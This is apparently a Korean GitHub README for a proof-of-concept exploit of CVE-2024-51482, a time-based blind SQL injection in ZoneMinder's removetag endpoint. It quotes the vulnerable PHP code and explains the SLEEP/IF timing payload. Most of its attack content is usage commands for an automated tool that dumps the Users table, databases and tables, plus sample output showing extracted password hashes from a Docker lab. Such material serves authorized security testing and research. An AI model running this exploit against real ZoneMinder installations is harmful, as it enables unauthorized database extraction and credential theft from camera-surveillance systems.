
ZoneMinder의 CVE-2024-51482에 대한 시간 기반 SQL 인젝션 PoC로, 재현 가능한 Docker 실험 환경과 자동화된 데이터 추출 기능을 제공합니다.
⚠️ 교육 목적 및 공인된 보안 연구용입니다. 소유하지 않거나 서면 허가 없이 테스트할 권한이 없는 시스템에 대해 이 도구를 실행하는 것은 불법입니다.
이 저장소는 ZoneMinder를 대상으로 하는 시간 기반 SQL 인젝션 PoC를 포함합니다.
도구의 기능:
또한 안전한 테스트를 위한 완전히 재현 가능한 Docker 실습 환경을 제공합니다.
ZoneMinder는 무료 오픈 소스 폐쇄회로 텔레비전 소프트웨어 애플리케이션입니다. 취약점은 ZoneMinder의 removetag 엔드포인트에서 입력 검증이 충분하지 않아 발생합니다. 사용자 제공 입력이 적절한 살균 또는 매개변수화 없이 SQL 쿼리에 직접 포함되어, 공격자가 악의적인 boolean 기반 SQL 페이로드를 주입할 수 있습니다. 익스플로잇은 다음을 활용합니다:
SLEEP(x - IF(condition, 0, x))
응답 시간을 통해 데이터를 추론합니다.
Github 유지보수자 권고의 취약한 코드 스니펫:
case 'removetag' :
$tagId = $_REQUEST['tid'];
dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
$rowCount = dbNumRows($sql);
if ($rowCount < 1) {
$sql = 'DELETE FROM Tags WHERE Id = ?';
$values = array($_REQUEST['tid']);
$response = dbNumRows($sql, $values);
ajaxResponse(array('response'=>$response));
}
공격자 ZoneMinder 웹 애플리케이션
│ │
│ [인증] │
│ POST /zm/index.php │
│ {username, password} │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ 200 OK + Set-Cookie: ZMSESSID=... │ ← 인증된 세션
│ │
│ [CVE-2024-51482] │
│ GET /zm/index.php │
│ ?view=request&request=event │
│ &action=removetag&tid=<payload> │
│────────────────────────────────────────►│
│ SQL boolean 쿼리 실행
│ IF(조건, 지연 없음, SLEEP)
│◄────────────────────────────────────────│
│ 지연된 응답 (시간 오라클) │ ← 조건 추론
│ │
│ 요청 반복 │
│ ASCII(SUBSTRING(query,pos,1)) │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ 시간 차이로 문자 하나씩 추출 │
│ │
│ 각 문자에 대해 이진 탐색 │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ 추출된 데이터 (한 번에 1문자) │
│ │
│ SELECT Username, Password FROM Users │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ 전체 데이터베이스 노출 │
│ │
✓ 블라인드 SQLi를 통한 완전한 데이터 유출
CVE-2024-51482/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
├── .env.example
├── docker/
│ ├── Dockerfile
│ └── entrypoint.sh
└── logs/
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
pip install -r requirements.txt
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env # 환경 변수 설정
docker compose up -d
플래그 없이 실행하면 도구가 대상에 인증하고 취약점을 확인한 후, 취약할 경우 zm.Users 테이블에서 ID, Username, Password, Name, Email 컬럼을 덤프합니다 (dump-users 명령).
python exploit.py -t http://target/zm -u <username> -p <password>
python exploit.py -h
대상이 취약한지만 확인합니다.
python exploit.py -t http://target/zm -u <username> -p <password> check
zm.Users 테이블에서 ID, Username, Password, Name, Email 컬럼을 덤프합니다. 명령어가 지정되지 않은 경우 기본 명령어입니다.
python exploit.py -t http://target/zm -u <username> -p <password> dump-users
모든 데이터베이스를 나열합니다.
python exploit.py -t http://target/zm -u <username> -p <password> list-db
지정된 데이터베이스의 테이블을 나열합니다.
python exploit.py -t http://target/zm -u <username> -p <password> list-tables --db <database>
지정된 테이블의 컬럼을 나열합니다.
python exploit.py -t http://target/zm -u <username> -p <password> list-columns --db <database> --table <table>
지정된 테이블의 모든 데이터를 덤프합니다.
python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table>
덤프할 컬럼을 지정할 수도 있습니다 (기본값은 전체):
python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table> --columns col1,col2
--no-display
파일이 존재하지 않으면 생성됩니다. 이미 존재하면 새 결과가 추가됩니다.
--outfile results.csv
| 플래그 | 설명 | 예제 |
|---|---|---|
-t, --target | 대상 기본 URL | -t http://localhost:8080 |
-u, --user | 인증용 사용자 이름 | -u admin |
-p, --password | 인증용 비밀번호 | -p admin |
--cookie | 로그인 대신 기존 ZMSESSID 쿠키 사용 | --cookie abc123... |
| 명령어 | 설명 | 예제 |
|---|---|---|
check | 대상이 취약한지 테스트 (시간 기반 SQLi) | check |
dump-users | zm.Users 테이블 직접 덤프 | dump-users |
list-db | 모든 데이터베이스 나열 | list-db |
list-tables | 데이터베이스에서 테이블 나열 | list-tables --db zm |
list-columns | 테이블에서 컬럼 나열 | list-columns --db zm --table Users |
dump-table | 특정 테이블 덤프 | dump-table --db zm --table Users |
| 플래그 | 설명 | 필수 | 예제 |
|---|---|---|---|
--db | 데이터베이스 이름 | 예 (테이블/컬럼 작업에) | --db zm |
--table | 테이블 이름 | 예 (컬럼/덤프에) | --table Users |
--columns | 덤프할 컬럼의 쉼표로 구분된 목록 | 선택 사항 | --columns Username,Password |
| 플래그 | 설명 | 기본값 | 예제 |
|---|---|---|---|
--threads | 동시 추출 스레드 수 | 5 | --threads 6 |
--delay | 시간 기반 SQLi에 사용되는 지연 | 3 | --delay 2 |
--no-check | 익스플로잇 전 취약점 확인 건너뛰기 | False | --no-check |
| 플래그 | 설명 | 예제 |
|---|---|---|
--outfile | 출력을 CSV 파일로 저장 | --outfile results.csv |
--no-display | 터미널 출력 비활성화 | --no-display |
| 플래그 | 설명 | 기본값 | 예제 |
|---|---|---|---|
-v, --verbose | 디버그 로깅 활성화 | False | -v |
--log-file | 로그 파일 경로 | logs/exploit.log | --log-file out.log |
--no-color | 컬러 출력 비활성화 | False | --no-color |
python3 exploit.py \
-t http://localhost:8080 \
-u admin -p admin \
dump-table \
--db zm \
--table Users \
--columns Username,Password \
--threads 6 \
--delay 2 \
--outfile dump.csv
dump-users는 zm.Users 테이블을 덤프하는 단축 명령어입니다.--no-check를 사용하십시오.포함된 docker-compose.yml은 취약한 ZoneMinder 인스턴스를 설정합니다.
cp .env.example .env # 환경 변수 설정
docker compose up -d
웹 인터페이스에 http://localhost:8080/(또는 사용자 정의 포트)로 접속합니다. 기본 자격 증명은 admin:admin입니다. 그런 다음 이 로컬 인스턴스에 대해 익스플로잇을 실행하여 테스트할 수 있습니다.
$ python3 exploit.py -t http://localhost:8080/ -u admin -p admin --outfile ./out.csv dump-table --db zm --table Users --columns Username,Password
_________ ____ _______________ ________ _______ ________ _____ .________ ____ _____ ______ ________
\_ ___ \\ \ / /\_ _____/ \_____ \\ _ \ \_____ \ / | | | ____//_ | / | | / __ \ \_____ \
/ \ \/ \ Y / | __)_ ______ / ____// /_\ \ / ____/ / | |_ ______|____ \ | | / | |_ > < / ____/
\ \____ \ / | \/_____// \\ \_/ \/ \ / ^ //_____// \ | |/ ^ // -- \/ \
\______ / \___/ /_______ / \_______ \\_____ /\_______ \\____ | /______ / |___|\____ | \______ /\_______ \
\/ \/ \/ \/ \/ |__| \/ |__| \/ \/
[∗] 대상 URL: http://localhost:8080/
[∗] 모듈 : dump-table
[∗] 출력이 저장될 위치: ./out.csv
[∗] 사용자 이름/비밀번호 인증으로 로그인 시도 중
🡲 자격 증명: admin:admin
[+] admin 사용자로 성공적으로 인증됨
[∗] 대상 취약점 테스트 중...
[+] 대상이 취약한 것으로 보입니다 (응답 시간이 성공적인 인젝션을 나타냄).
[∗] 테이블 zm.Users 내용 덤프 중...
[+] 컬럼 발견: Username, Password
[∗] 테이블의 행 수를 검색 중...
[+] 테이블에 2개의 행이 포함되어 있습니다. 덤프 시작...
[∗] 진행: 5/5 | admin
[∗] 진행: 60/60 | $2h$12$NHZs...
[+] 행 1 검색됨 : admin, $2h$12$NHZs...
[∗] 진행: 4/4 | flag
[∗] 진행: 60/60 | $2y$10$1Ei....
[+] 행 2 검색됨 : flag, $2y$10$1Ei....
+----------+----------------+
| Username | Password |
+----------+----------------+
| admin | $2h$12$NHZs... |
| flag | $2y$10$1Ei.... |
+----------+----------------+
[+] 결과가 ./out.csv에 기록됨
[+] 작업 완료. 안녕!